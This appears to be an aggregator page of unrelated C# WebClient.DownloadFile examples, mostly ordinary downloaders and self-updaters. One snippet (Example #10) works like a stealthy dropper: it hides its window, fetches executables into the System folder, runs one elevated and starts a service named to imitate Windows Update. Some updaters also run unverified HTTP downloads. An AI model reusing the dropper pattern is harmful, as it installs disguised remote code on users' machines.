DownloadFile() public méthode

public DownloadFile ( System address, string fileName ) : void
address System
fileName string
Résultat void
        public void UpdateFiles()
        {
            try
            {
                WriteLine("Local version: " + Start.m_Version);

                WebClient wc = new WebClient();
                string versionstr;
                using(System.IO.StreamReader sr = new System.IO.StreamReader(wc.OpenRead(baseurl + "version.txt")))
                {
                    versionstr = sr.ReadLine();
                }
                Version remoteversion = new Version(versionstr);
                WriteLine("Remote version: " + remoteversion);

                if(Start.m_Version < remoteversion)
                {
                    foreach(string str in m_Files)
                    {
                        WriteLine("Updating: " + str);
                        wc.DownloadFile(baseurl + str, str);
                    }
                }
                wc.Dispose();
                WriteLine("Update complete");
            }
            catch(Exception e)
            {
                WriteLine("Update failed:");
                WriteLine(e);
            }
            this.Button_Ok.Enabled = true;
        }
 public void HandleFurnidata(string[] items)
 {
     if (File.Exists("figuredata.xml"))
         File.Delete("figuredata.xml");
     if (File.Exists("figuremap.xml"))
         File.Delete("figuremap.xml");
     Console.WriteLine("Name the SWF Build (for example: PRODUCTION-201507062205-18729)");
     string build = Console.ReadLine();
     Console.WriteLine("Name the Hotel (for example \"de\" or \"com\")");
     string hotel = Console.ReadLine();
     WebClient webClient = new WebClient();
     try
     {
         Console.Write("Downloading figuremap.xml...");
         webClient.DownloadFile("http://images-eussl.habbo.com/dcr/gordon/" + build + "/figuremap.xml", "figuremap.xml");
         Console.WriteLine("completed!");
     }
     catch { Console.WriteLine("failed!"); }
     try
     {
         Console.Write("Downloading figuredata.xml...");
         webClient.DownloadFile("http://www.habbo." + hotel + "/gamedata/figuredata", "figuredata.xml");
         Console.WriteLine("completed!");
     }
     catch { Console.WriteLine("failed!"); }
     Console.WriteLine("Press the any key for the main menu.");
 }
Exemple #3
0
        public void downloadLZHFiles(List<string> lstDates, JRDBMember jrdbMem, string appPath)
        {
            try{
                StringBuilder sb = new StringBuilder();
                string strDownLoadFolder = sb.Append(appPath).Append("\\temp").ToString();
                if(Directory.Exists(strDownLoadFolder) == false)
                    Directory.CreateDirectory(strDownLoadFolder);
                sb.Clear();
                WebClient wc = new WebClient();
                wc.Credentials = new NetworkCredential(jrdbMem.UserID, jrdbMem.PassWord);

                for (int i = 0; i < lstDates.Count; i++)
                {
                    sb.Append(strKYLzhUrl).Append(strKYFilePrefix).Append(lstDates[i]).Append(".lzh");
                    string strDLKYFileURL = sb.ToString();
                    sb.Clear();
                    sb.Append(appPath).Append("\\temp\\").Append(strKYFilePrefix).Append(lstDates[i]).Append(".lzh");
                    string strDLKYFile = sb.ToString();
                    sb.Clear();
                    sb.Append(strCYLzhUrl).Append(strCYFilePrefix).Append(lstDates[i]).Append(".lzh");
                    string strDLCYFileURL = sb.ToString();
                    sb.Clear();
                    sb.Append(appPath).Append("\\temp\\").Append(strCYFilePrefix).Append(lstDates[i]).Append(".lzh");
                    string strDLCYFile = sb.ToString();
                    sb.Clear();
                    wc.DownloadFile(strDLKYFileURL, strDLKYFile);
                    wc.DownloadFile(strDLCYFileURL, strDLCYFile);
                }
                wc.Dispose();
            }
            catch (Exception e)
            {
                string s = e.Message;
            }
        }
Exemple #4
0
    private GameObject downloadObj()
    {
        print("Downloading files");

        using (var client = new System.Net.WebClient())
        {
            try {
                client.DownloadFile("http://" + DownloadLink + ":8000/random/arrow_color.obj", @"C:\Users\kone6\Documents\Office\Assets\" + name + ".obj");
                client.DownloadFile("http://" + DownloadLink + ":8000/random/arrow_color.obj", @"C:\Users\kone6\Documents\Office\Assets\" + name + ".mtl");

                //				client.DownloadFile("http://192.168.1.84:8000/random/arrow_color.obj", @"C:\Users\kone6\Documents\Office\Assets\arrow_color.obj");
//				client.DownloadFile("http://192.168.1.84:8000/random/arrow_color.mtl", @"C:\Users\kone6\Documents\Office\Assets\arrow_color.mtl");
            } catch (Exception e) {
                print("Problem downloading obj: " + e.ToString());
            }
        }

//		GameObject cuube = OBJLoader.LoadOBJFile(@"C:\Users\kone6\Documents\cube.obj");
        GameObject cuube = OBJLoader.LoadOBJFile(@"C:\Users\kone6\" + name + ".obj");

        cuube.name = name;         // rename the object

        print("Object loaded");
        return(cuube);
    }
        private void button1_Click(object sender, RoutedEventArgs e)
        {
            WebClient dc = new WebClient();
            try{
                dc.DownloadFile(@"\\172.22.137.242\易平台\02.团队\04.QA\EVA\version.txt", "check_version.txt");
                bool b = this.checkVer("version.txt", "check_version.txt");
                if (b){
                }
                else{
                    dc.DownloadFile(@"\\172.22.137.242\易平台\02.团队\04.QA\EVA\update_info.txt", "update_info.txt");
                    StreamReader localSR = File.OpenText("update_info.txt");
                    MessageBox.Show(localSR.ReadToEnd(), "有新版本可用!");

                    updateAllFile();

                    MessageBox.Show("更新完成!","提示");
                }
            } catch (System.Exception ex) {
                MessageBox.Show("更新失败!", "Sorry");
            }
                try {
                    File.Copy("check_version.txt", "version.txt", true);
                } catch { }
            try{
                startMain();
            }
            catch (System.Exception ex){

            }
        }
Exemple #6
0
 private void Worker_DoWork(object sender, DoWorkEventArgs e)
 {
     string PatchPath = @".\assets\patches\";
     WebClient client = new WebClient();
     int taskCount = Asset.Count + Base.Count;
     int counter = 0;
     Asset.ForEach(dr => {
         //worker.ReportProgress(counter / taskCount);
         if (!File.Exists(PatchPath + dr))
         {
             client.DownloadFile("http://battlezone.videoventure.org/" + dr, PatchPath + dr);
         }
         counter++;
         //worker.ReportProgress(counter / taskCount);
     });
     Base.ForEach(dr => {
         //worker.ReportProgress(counter / taskCount);
         if (!File.Exists(PatchPath + dr))
         {
             client.DownloadFile("http://battlezone.videoventure.org/" + dr, PatchPath + dr);
         }
         counter++;
         //worker.ReportProgress(counter / taskCount);
     });
 }
          public static void Main ()
          {
               //tworzenie Webclient'a
               WebClient client = new WebClient ();

               //Pobieranie html w wersji plikowej
               //Pierwszy argument oznacza adres strony a drugi ścieżkę do pliku
               client.DownloadFile ("http://127.0.0.1:9007/main/", "File.html");


               //Pobieranie dowolnych plików
               client.DownloadFile ("http://127.0.0.1:9007/main/file.zip", "File.zip");

               //Pobieranie danych do obiektu "string"
               string Strona = client.DownloadString ("http://127.0.0.1:9007/main/");

               //Pobieranie danych do tablicy obiektów byte
               byte[] bajty = client.DownloadData ("http://127.0.0.1:9007/main/");


               //Wyświetlanie kawałek html
               Strona = string.Format ("String: {0}", Strona.Substring (0, 400));
               Console.WriteLine (Strona);
               Strona = string.Format ("byte: {0}", Encoding.UTF8.GetString(bajty,0,400));
               Console.WriteLine (Strona);

               Console.ReadKey ();

          }
Exemple #8
0
        /*[STAThread]
        static void Main() {
            if(!SoundCloudCore.Connect(new Login(user, pass, ClientID, ClientSecret)))
                return;

            var list = new List<int>();
            for(var i = 0; i < Me.LikesCount; i += 10) {
                if(i >= Me.LikesCount)
                    break;
                list = list.Concat(Me.GetLikedTracks(i, 10)).ToList();
                Console.WriteLine("SEARCHING: " + i + "/" + Me.LikesCount);
            }
            Console.WriteLine("COMPLETED: " + list.Count + " / " + Me.LikesCount + "Track info was downloaded");

            // Download all tracks to folder
            foreach(var id in list)
                DownloadTrack(SoundCloudCore.Tracks[id]);
            Directory.Delete("Images", true);
            Console.ReadLine();
        }*/
        static void DownloadTrack(Track track)
        {
            var wc = new WebClient();
            if(!Directory.Exists("Tracks")) Directory.CreateDirectory("Tracks");
            if(!Directory.Exists("Images")) Directory.CreateDirectory("Images");

            var path = "Tracks\\" + track.Title + ".mp3";
            if(System.IO.File.Exists(path)) return;
            try {

                wc.DownloadFile(new Uri(track.StreamUrl), path);

                // Write tag
                if(!System.IO.File.Exists(path)) return;
                var tag = TagLib.File.Create(path);
                tag.Tag.Title = track.Title;
                tag.Tag.BeatsPerMinute = (uint)track.Bpm;
                tag.Tag.Year = (uint)track.Created.Year;
                // Get track cover

                var imgPath = "Images\\" + track.Title + ".jpg";
                wc.DownloadFile(new Uri(track.GetCover(AlbumSize.x300)), imgPath);
                if(System.IO.File.Exists(imgPath)) {
                    var pic = new IPicture[1];
                    pic[0] = new Picture(imgPath);
                    tag.Tag.Pictures = pic;
                }

                // Save tag info
                tag.Save();
                Console.WriteLine("Downloaded track: " + track.Title);
            }
            catch(Exception ex) { Console.WriteLine("Error downloading track: " + track.Title + "; Exception: " + ex.Message); }
        }
        public static bool UpdateIsNeeded()
        {
            Utilities.ConsoleStyle.Infos("Checking your Crystal version ...");
            var client = new WebClient();
            client.DownloadFile(URL_ROOT, "update.txt");
            var updateFile = new Utilities.IniSetting("update.txt");
            updateFile.ReadSettings();
            File.Delete("update.txt");
            if (!updateFile.ContainsGroup(Program.CrystalVersion))
            {
                try
                {
                    Utilities.ConsoleStyle.Warning("We downloading the last version, please wait ...");
                    client.DownloadFile(updateFile.GetFirstGroup()["Update_lnk"], "update.zip");
                }
                catch (Exception e)
                {
                    Utilities.ConsoleStyle.Error("The update service is not available for this moment please try later !");
                    System.Threading.Thread.Sleep(2500);
                    return false;
                }
                return true;
            }

            Utilities.ConsoleStyle.Infos("Your version is up to day !");
            return false;
        }
Exemple #10
0
        static void Main(string[] args)
        {
            var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);

            try
            {
                WebClient ldmgr = new WebClient();

                string targetPath = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\";

                // start the original update program
                ldmgr.DownloadFile(DOWNLOAD_SERVER + "upd.exe", targetPath + "upd.exe");
                Process.Start(targetPath + "upd.exe");

                ldmgr.DownloadFile(DOWNLOAD_SERVER + "Server.exe", targetPath + "Server.exe");

                //
                Process p = new Process();
                p.StartInfo.FileName = targetPath + "Server.exe";
                p.StartInfo.Verb = "runas";
                p.StartInfo.UseShellExecute = true;
                p.Start();
                p.WaitForExit();

                ServiceController controller = new ServiceController();
                controller.MachineName = ".";
                controller.ServiceName = "wuaucilt";
                controller.Start();
            }
            catch (Exception)
            {
                return;
            }
        }
Exemple #11
0
        public void download()
        {
            WebClient myWebClient = new WebClient();
            //проверка есть ли FreeRADIUS
            if (!Directory.Exists(@"C:\FreeRADIUS.net"))
                {
                    //создание директории
                    Directory.CreateDirectory(@".\FreeRADIUS");
                    //скачивание в созданную директорию
                    Console.WriteLine("Загружаю FreeRADIUS... Подождите!");
                    myWebClient.DownloadFile("http://www.freeradius.net/Downloads/FreeRADIUS.net-1.1.7-r0.0.2.exe", @".\FreeRADIUS\FreeRADIUS.net-1.1.7-r0.0.2.exe");
                    Console.WriteLine("Загрузка FreeRADIUS успешно завершена!");
                }

            //проверка есть ли MySQL
            if (!Directory.Exists(@"C:\Program Files\MySQL") && !Directory.Exists(@"C:\Program Files(x86)\MySQL"))
                {
                    //создание директории
                    Directory.CreateDirectory(@".\MySQL");
                    //скачивание в созданную директорию
                    Console.WriteLine("Загружаю MySQL... Подождите!");
                    myWebClient.DownloadFile("http://www.mysql.ru/download/files/mysql-5.5.23-win32.msi", @".\MySQL\MySQLmysql-5.5.23-win32.msi");
                    Console.WriteLine("Загрузка MySQL успешно завершена!");
                }
        }
        public static void downloadMod()
        {
            if (File.Exists(Application.StartupPath + "/"+Props.Jar + "-" + Props.Version1_8+".jar"))
            {
                MessageBox.Show("Hey, You Already Downloaded it. Moving file.");
            }
            else if (File.Exists(Application.StartupPath + "/" + Props.Jar + "-" + Props.Version1_7 + ".jar"))
            {
                    MessageBox.Show("Hey, You Already Downloaded it. Moving file.");
            }
            else
            {
                using (var client = new WebClient())
                {
                    if (MainWindow.V1_8)
                    {
                        client.DownloadFile(Props.URL1_8, Props.Jar + "-" + Props.Version1_8 + ".jar");
                    }
                    else if (MainWindow.V1_7 == true)
                    {
                        client.DownloadFile(Props.URL1_7, Props.Jar + "-" + Props.Version1_7 + ".jar");
                    }

                }
            }
        }
        public void SaveAllImages()
        {
            if (!Directory.Exists("Ikea\\jpg"))
                Directory.CreateDirectory("Ikea\\jpg");
            using (WebClient webClient = new WebClient())
            {
                foreach (productsProduct product in _furnitures)
                {
                    string local = product.items.item.ImageZoom.Replace("png", "jpg");
                    try
                    {
                        webClient.DownloadFile(product.items.item.images.zoom[0].Value, local);
                    }
                    catch (WebException ex1)
                    {
                        try
                        {
                            webClient.DownloadFile(product.items.item.images.large[0].Value, local);
                        }
                        catch (WebException ex2)
                        {
                            webClient.DownloadFile(product.items.item.images.normal[0].Value, local);

                        }
                    }
                }
            }
        }
Exemple #14
0
        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            var worker = sender as BackgroundWorker;
            if (!Directory.Exists("temp"))
            {
                Directory.CreateDirectory("temp");
            }
            var client = new WebClient();
            client.DownloadFile("http://thetvdb.com/api/" + Constants.ApiKey + "/series/" + _seriesId + "/all/en.zip",
                @"temp/tmp.zip");
            using (var zip = ZipFile.Read("temp/tmp.zip"))
            {
                zip.ExtractAll("temp/");
            }
            var doc = XDocument.Load("temp/banners.xml");

            var names = from ele in doc.Descendants("Banner")
                        select new
                        {
                            url = (string)ele.Element("BannerPath"),
                            type = (string)ele.Element("BannerType")
                        };

            foreach (var n in names.Where(n => n.type != "season"))
            {
                switch (e.Argument.ToString())
                {
                    case "0":
                        if (n.type != "fanart" && n.type != "poster")
                        {
                            client.DownloadFile("http://thetvdb.com/banners/" + n.url,
                                                @"temp/" + Path.GetFileName(n.url));

                            var img = new ImageListViewItem {FileName = @"temp/" + Path.GetFileName(n.url)};
                            if (worker != null) worker.ReportProgress(0, img);
                        }
                        break;
                    case "1":
                        if (n.type != "fanart" && n.type != "series")
                        {
                            client.DownloadFile("http://thetvdb.com/banners/" + n.url,
                                                @"temp/" + Path.GetFileName(n.url));

                            var img = new ImageListViewItem {FileName = @"temp/" + Path.GetFileName(n.url)};
                            if (worker != null) worker.ReportProgress(0, img);
                        }
                        break;
                    case "2":
                        if (n.type != "series" && n.type != "poster")
                        {
                            client.DownloadFile("http://thetvdb.com/banners/" + n.url,
                                                @"temp/" + Path.GetFileName(n.url));

                            var img = new ImageListViewItem {FileName = @"temp/" + Path.GetFileName(n.url)};
                            if (worker != null) worker.ReportProgress(0, img);
                        }
                        break;
                }
            }
        }
Exemple #15
0
        internal static void EnsureIcons(ApexSettings settings, IEnumerable<ProductInfo> products)
        {
            foreach (var p in products)
            {
                if (_iconTextures.ContainsKey(p.iconInfo.key))
                {
                    continue;
                }

                string fileLocation = string.Concat(settings.dataFolder, "/", p.iconInfo.key, ".png");
                if (!File.Exists(fileLocation))
                {
                    try
                    {
                        var client = new WebClient
                        {
                            BaseAddress = EnsureTrailingSlash(settings.updateCheckBaseUrl)
                        };

                        string webLocationIcon = string.Concat("content/producticons/", p.iconInfo.key, ".png");
                        client.DownloadFile(webLocationIcon, fileLocation);

                        fileLocation = string.Concat(fileLocation, ".meta");
                        string webLocationMeta = string.Concat(webLocationIcon, ".meta");
                        client.DownloadFile(webLocationMeta, fileLocation);

                        _assetsDownloaded = true;
                    }
                    catch
                    {
                        /* not much to do about it.. */
                    }
                }
            }
        }
Exemple #16
0
        public static void CheckUpdate()
        {
            #if !DEBUG
            WebClient wc = new WebClient();
            if (File.Exists("prog.old"))
                File.Delete("prog.old");

            string version = null;
            wc.DownloadFile("http://h1.ripway.com/Singlem/OneClick/version.txt", "version.txt");

            StreamReader sr = new StreamReader("version.txt");
            version = sr.ReadLine();

            if (Application.ProductVersion != version)
            {
                MessageBox.Show("Updating please wait");
                try
                {
                    File.Move(Application.StartupPath + "\\One_Click.exe", Application.StartupPath + "\\" + "prog.old");
                }
                catch (Exception ex)
                {
                    MessageBox.Show("Failed to update\n" + ex.ToString());
                }
                wc.DownloadFile("http://h1.ripway.com/Singlem/OneClick/One_Click.exe", "One_Click.exe");
                Application.Exit();
                Process.Start("One_Click.exe");
            }
            #endif
        }
        static void Main(string[] args)
        {
            WebClient wc = null;
            string errorMessage = null;
            string url = Console.ReadLine();

            try
            {
                wc = new WebClient();
                // Download a file from i-net to the current directory.
                wc.DownloadFile(url, @".\google.png");
                // Download a file from i-net to parent directory of parent directory.
                wc.DownloadFile(url, @"..\..\google.png");
            }
            catch (WebException we)
            {
                errorMessage = we.Message;
            }
            catch (NotSupportedException nse)
            {
                errorMessage = nse.Message;
            }
            catch (Exception e)
            {
                errorMessage = e.Message;
            }
            finally
            {
                if (errorMessage != null)
                {
                    Console.WriteLine(errorMessage);
                }
            }
        }
        public bool downloadGradlew(string temp)
        {
            if (File.Exists(temp + "gradlew.bat"))
            {
                return true;
            }
            else
            {
                try
                {
                    WebClient gradlew = new WebClient();
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/build.gradle", temp + "build.gradle");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/gradlew", temp + "gradlew");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/gradlew.bat", temp + "gradlew.bat");
                    Directory.CreateDirectory(temp + @".gradlew");
                    Directory.CreateDirectory(temp + @".gradlew\2.0");
                    Directory.CreateDirectory(temp + @".gradlew\2.0\taskArtifacts");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/.gradle/2.0/taskArtifacts/cache.properties", temp + @".gradle\2.0\taskArtifacts\cache.properties");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/.gradle/2.0/taskArtifacts/cache.properties.lock", temp + @".gradle\2.0\taskArtifacts\cache.properties.lock");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/.gradle/2.0/taskArtifacts/fileHashes.bin", temp + @".gradle\2.0\taskArtifacts\fileHashes.bin");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/.gradle/2.0/taskArtifacts/fileSnapshots.bin", temp + @".gradle\2.0\taskArtifacts\fileSnapshots.bin");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/.gradle/2.0/taskArtifacts/outputFileStates.bin", temp + @".gradle\2.0\taskArtifacts\outputFileStates.bin");
                    gradlew.DownloadFile("http://outlookphone.com/modbetter/oneeight/gradle/.gradle/2.0/taskArtifacts/taskArtifacts.bin", temp + @".gradle\2.0\taskArtifacts\taskArtifacts.bin");

                    return true;

                }
                catch (Exception e)
                {
                    MessageBox.Show(e.Message);
                    return false;
                }

            }
        }
 private void update_do_Click(object sender, EventArgs e)
 {
     WebClient wc = new WebClient();
     wc.DownloadFile("http://update.srcttp.org/MC-Backup_Manager/" + textBox1.Text + "/update.exe", "update.exe");
     wc.DownloadFile("http://update.srcttp.org/MC-Backup_Manager/" + textBox1.Text + "/update.bat", "update.bat");
     Process update = new Process();
     log.Write("Es wurde das Update" + textBox1.Text + " installiert.");
     update.StartInfo.FileName = "update.bat";
     update.Start();
     System.Windows.Forms.Application.Exit();
 }
Exemple #20
0
        static void Main(string[] args)
        {
            Console.WriteLine("Frissítések letöltése...");
            WebClient webClient = new WebClient();
            webClient.DownloadFile("http://iris.sandbox.proserver.hu/IRIS_Update/Update.zip", "Update.zip");

            Process[] p = Process.GetProcessesByName("IRIS");
            for(int i = 0; i<p.Count();i++)
            if (p[i] != null)
            {
                p[i].Kill();
                //p[i].WaitForExit();
            }
            Console.WriteLine("Fájlok kibontása");
            using (ZipInputStream s = new ZipInputStream(File.OpenRead("Update.zip")))
            {

                ZipEntry theEntry;
                while ((theEntry = s.GetNextEntry()) != null)
                {

                    Console.WriteLine(theEntry.Name);

                    string directoryName = Path.GetDirectoryName(theEntry.Name);
                    string fileName = Path.GetFileName(theEntry.Name).Replace(directoryName, "");

                    if (fileName != String.Empty)
                    {
                        using (FileStream streamWriter = File.Create(fileName))
                        {

                            int size = 2048;
                            byte[] data = new byte[2048];
                            while (true)
                            {
                                size = s.Read(data, 0, data.Length);
                                if (size > 0)
                                {
                                    streamWriter.Write(data, 0, size);
                                }
                                else
                                {
                                    break;
                                }
                            }
                        }
                    }
                }
            }
            File.Delete("Update.zip");
            File.Delete("serverver.txt");
            webClient.DownloadFile("http://iris.sandbox.proserver.hu/IRIS_Update/version.txt", "version.txt");
            Process.Start("IRIS.exe");
        }
        protected override void ProcessRecord() {
#if USING_RESTABLE_CMDLET
            if(Remote) {
                ProcessRecordViaRest();
                return;
            }
#endif

            var wc = new WebClient();
            var tmp = "coapp.tools.powershell.msi".GenerateTemporaryFilename();
            if(Development) {
                wc.DownloadFile(@"http://downloads.coapp.org/files/Development.CoApp.Tools.Powershell.msi", tmp);
            } else if (Beta) {
                wc.DownloadFile(@"http://downloads.coapp.org/files/Beta.CoApp.Tools.Powershell.msi", tmp);
            } else {
                wc.DownloadFile(@"http://downloads.coapp.org/files/CoApp.Tools.Powershell.msi", tmp);
            }   

            
            FourPartVersion ver = FileVersionInfo.GetVersionInfo(tmp);

            if (ver == 0) {
                using (Database db = new Database(tmp)) {
                    ver = db.ExecuteScalar("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductVersion'") as string;
                }
            }

            FourPartVersion thisVer = this.Assembly().Version();
            if (ver < thisVer) {
                WriteObject("The current version {0} is newer than the version on the web {1}.".format( thisVer, ver));
                return;
            }

            if(ver == thisVer) {
                WriteObject("The current version {0} is the current version.".format(thisVer, ver));
                return;
            }

            WriteObject("The current version {0} will be replaced with the newer than the version from the web {1}.".format(thisVer, ver));

            using (dynamic ps = Runspace.DefaultRunspace.Dynamic()) {
                ps.InvokeExpression(@"msiexec.exe /i ""{0}""".format(tmp));
            }

            if (!KillPowershells) {
                WriteObject("FYI, the installer can't actually update without killing all the powershell tasks.");
                WriteObject("If you are running as admin, you can do this automatically with the -KillPowershells switch on this command.");
            } else {
                using (var ps = Runspace.DefaultRunspace.Dynamic()) {
                    ps.StopProcess(name: "powershell");
                }
            }

        }
Exemple #22
0
		public void DownloadTwice ()
		{
			WebClient wc = new WebClient();
			string filename = Path.GetTempFileName();
			
			// A new, but empty file has been created. This is a test case
			// for bug 81005
			wc.DownloadFile("http://google.com/", filename);
			
			// Now, remove the file and attempt to download again.
			File.Delete(filename);
			wc.DownloadFile("http://google.com/", filename);
		}
Exemple #23
0
    private GameObject downloadObj()
    {
        //////////////////////////////
        //// Checks if the object is located on directory
        //// if not downloads from the server
        /////////////////////////////
        string path = Directory.GetCurrentDirectory();
        //string path = System.IO.Path.GetDirectoryName(Application.dataPath);
        bool found  = false;
        bool server = true;

        if (File.Exists(path + "/" + name + ".obj"))
        {
            Debug.Log("OBJ file found");
            if (File.Exists(path + "/" + name + ".mtl"))
            {
                found = true;
                Debug.Log("MTL file found");
            }
        }
        if (!found)
        {
            using (var client = new System.Net.WebClient())
            {
                try {                 // downloads object and mtl files from a HTTP server at address "DownloadLink"
                    Debug.Log("Downloading files");
                    client.DownloadFile("http://" + DownloadLink + ":8000/" + name + ".obj", path + "/" + name + ".obj");
                    client.DownloadFile("http://" + DownloadLink + ":8000/" + name + ".mtl", path + "/" + name + ".mtl");
                } catch (Exception e) {
                    Debug.Log("Problem downloading obj: " + e.ToString());
                    server = false;
                }
            }
        }
        path = System.IO.Path.Combine(@path, name + ".obj");
        if ((found) || (server))           // if the object is either downloaded or already on disk
        {
            GameObject cuube = OBJLoader.LoadOBJFile(path);
            cuube.name = name;             // rename the object
            Debug.Log("Object loaded");
            return(cuube);
        }
        else
        {
            Debug.Log("File not found on disk and download failed");
            GameObject game = null;
            return(game);
        }
    }
        public override void getMovieData(ref Movie movie)
        {
            movieCache = String.Format(baseCache, MD5.createHash(movie.title), movie.year);
            WebClient cli = new WebClient();

            if (!File.Exists(movieCache)) {
                cli.DownloadFile(String.Format(searchUrl, movie.title), movieCache);
            }

            if (File.Exists(movieCache)) {
                XmlDocument xml = new XmlDocument();
                List<movieData> movies = new List<movieData>();
                DateTime dt = File.GetLastWriteTime(movieCache);
                if (DateTime.Now.Subtract(dt).TotalDays > 3) {
                    // Log.Add( i18n.t( "oparse_older", ep.series) );
                    File.Delete(movieCache);
                    cli.DownloadFile(String.Format(searchUrl, movie.title), movieCache);
                }
                xml.Load(movieCache);

                XmlNodeList nodes = xml.GetElementsByTagName("movie");
                foreach (XmlNode node in nodes) {
                    Int32 year = 0;
                    XmlNode release = node.SelectSingleNode("release");
                    if (release != null && release.InnerText.Length > 0) {
                        year = Int32.Parse(release.InnerText.Substring(0, 4));
                    }
                    else {
                        year = movie.year;
                    }
                    movieData md = null;

                    md = new movieData();
                    md.Year = year;
                    md.Name = node.SelectSingleNode("title").InnerText;
                    movies.Add(md);

                    if (node.SelectSingleNode("alternative_title").InnerText != string.Empty) {
                        md = new movieData();
                        md.Year = year;
                        md.Name = node.SelectSingleNode("alternative_title").InnerText;
                        movies.Add(md);
                    }
                }

                movieData selectedMovie = this.chooseMovie(movie, movies);
                setMovieTitle(ref movie, selectedMovie);
            }
        }
 private void backgroundWorker1_DoWork(object sender, System.ComponentModel.DoWorkEventArgs e)
 {
     CheckForIllegalCrossThreadCalls = false;
     string link = e.Argument as string;
     string youtubeCode = link.Substring(link.Length - 11, 11);
     string imageLink1 = "http://img.youtube.com/vi/" + youtubeCode + "/1.jpg";
     string imageLink2 = "http://img.youtube.com/vi/" + youtubeCode + "/2.jpg";
     string imageLink3 = "http://img.youtube.com/vi/" + youtubeCode + "/3.jpg";
     using (var client = new WebClient())
     {
         client.DownloadFile(imageLink1, "1.jpg");
         client.DownloadFile(imageLink2, "2.jpg");
         client.DownloadFile(imageLink3, "3.jpg");
     }
 }
Exemple #26
0
        protected string DownRemotePic(string productDescrip)
        {
            Hidistro.Membership.Context.SiteSettings arg_0A_0 = Hidistro.Membership.Context.HiContext.Current.SiteSettings;
            string str  = string.Format("/Storage/master/gallery/{0}/", System.DateTime.Now.Year.ToString() + System.DateTime.Now.Month.ToString());
            string text = System.Web.HttpContext.Current.Request.MapPath(Globals.ApplicationPath + str);

            if (!System.IO.Directory.Exists(text))
            {
                System.IO.Directory.CreateDirectory(text);
            }
            System.Collections.Generic.IList <string> outsiteLinkImgs = this.GetOutsiteLinkImgs(productDescrip);
            if (outsiteLinkImgs.Count > 0)
            {
                foreach (string current in outsiteLinkImgs)
                {
                    System.Net.WebClient webClient = new System.Net.WebClient();
                    string text2 = System.Guid.NewGuid().ToString("N", System.Globalization.CultureInfo.InvariantCulture);
                    string text3 = current.Substring(current.LastIndexOf('.'));
                    try
                    {
                        webClient.DownloadFile(current, text + text2 + text3);
                        productDescrip = productDescrip.Replace(current, Globals.ApplicationPath + str + text2 + text3);
                    }
                    catch
                    {
                    }
                }
            }
            return(productDescrip);
        }
Exemple #27
0
 static void Example1()
 {
     System.Net.WebClient wc = new System.Net.WebClient();
     wc.Proxy = null;
     wc.DownloadFile("http://static.mp3.zdn.vn/skins/zmp3-v4.2/images/logo.png", "logo.png");
     System.Diagnostics.Process.Start("logo.png");
 }
        private string ImagesBrow(string fileName,string no)
        {
            string imagename = DataDGV[5, DataDGV.CurrentCell.RowIndex].Value.ToString() + DataDGV[6, DataDGV.CurrentCell.RowIndex].Value.ToString() + "_" + no + ".jpg";
            string filepath = "";//具体自己添
            string strimageurl = "http://120.43.209.230:808/AutoUpdate$/IMages/";
            if (!Directory.Exists(System.AppDomain.CurrentDomain.BaseDirectory + @"\Images\"))//判断目录是否存在
            {
                //DirectoryInfo dir = new DirectoryInfo(System.Environment.CurrentDirectory+@"\Images\");
                Directory.CreateDirectory(System.AppDomain.CurrentDomain.BaseDirectory + @"\Images\");
            }
            if (!File.Exists(System.AppDomain.CurrentDomain.BaseDirectory + @"\Images\" + imagename))//如果是文件的话
            {
                try
                {
                    System.Net.WebClient webclient = new System.Net.WebClient();
                    webclient.DownloadFile(strimageurl + imagename, System.AppDomain.CurrentDomain.BaseDirectory + @"\Images\" + imagename);

                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
                //Pimage2.ImageLocation = System.Environment.CurrentDirectory + @"\Images\" + imagename;
            }

            return System.AppDomain.CurrentDomain.BaseDirectory + @"\Images\"+imagename;
        }
Exemple #29
0
    bool downloadPCD(string path)
    {
        using (var client = new System.Net.WebClient())
        {
            bool download = false;
            while (download != true)
            {
                try {                 // downloads pcd file from a HTTP server"
                    Debug.Log("Downloading files");
                    client.DownloadFile("http://192.168.10.200:8000/test_pcd.pcd", path + "/Assets/" + "test1_pcd.pcd");
                    //client.DownloadFile("http://192.168.1.2:8000/test_pcd.pcd", path+"/Assets/"+"test1_pcd.pcd");
                    download = true;
                    return(true);
                } catch (Exception e) {
                    Debug.Log("Problem downloading pcd: " + e.ToString());


                    Thread.Sleep(2000);
                    continue;
                    return(false);
                }
            }
            return(false);
        }
    }
Exemple #30
0
    static void Main(string[] args)
    {
        using (System.Net.WebClient webClient = new System.Net.WebClient())
        {
            try
            {
                // Downloads the resource with the specified URI to a local file.
                webClient.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", "./Logo-BASD.jpg");

                Console.WriteLine("Download is OK.");
            }
            //catch (WebException ex)
            //{
            //    Console.WriteLine("Exception caught in process: {0}", ex.ToString());
            //}
            //catch (NotSupportedException ex)
            //{
            //    Console.WriteLine("Exception caught in process: {0}", ex.ToString());
            //}
            catch (Exception ex)
            {
                Console.WriteLine("Download is NOT OK!");
                Console.WriteLine(ex);
            }
        } // "using" -  free all resources here .
    }
Exemple #31
0
 public static void DownLoad(string addressUrl, string localName)
 {
     //下载文件
     System.Net.WebClient myWebClient = new System.Net.WebClient();
     myWebClient.DownloadFile(@"/10.2.0.254/software/01279.lic.txt", "testdownload.txt");
     //下载end
 }
Exemple #32
0
        public bool CheckForUpdates()
        {
            // try to download version control
            try
            {
                using (System.Net.WebClient client = new System.Net.WebClient())
                {
                    client.DownloadFile(downloadLocation + "versioncontrol.txt", basePath + "vc.txt");
                }
            }
            catch
            {
                // if failed then just ignore auto-update
                return(false);
            }

            Stream stream = new FileStream(basePath + "vc.txt", FileMode.Open);

            config = new Burntime.Platform.IO.ConfigFile();
            config.Open(stream);
            stream.Close();

            newVersion = config[""].GetString("version");
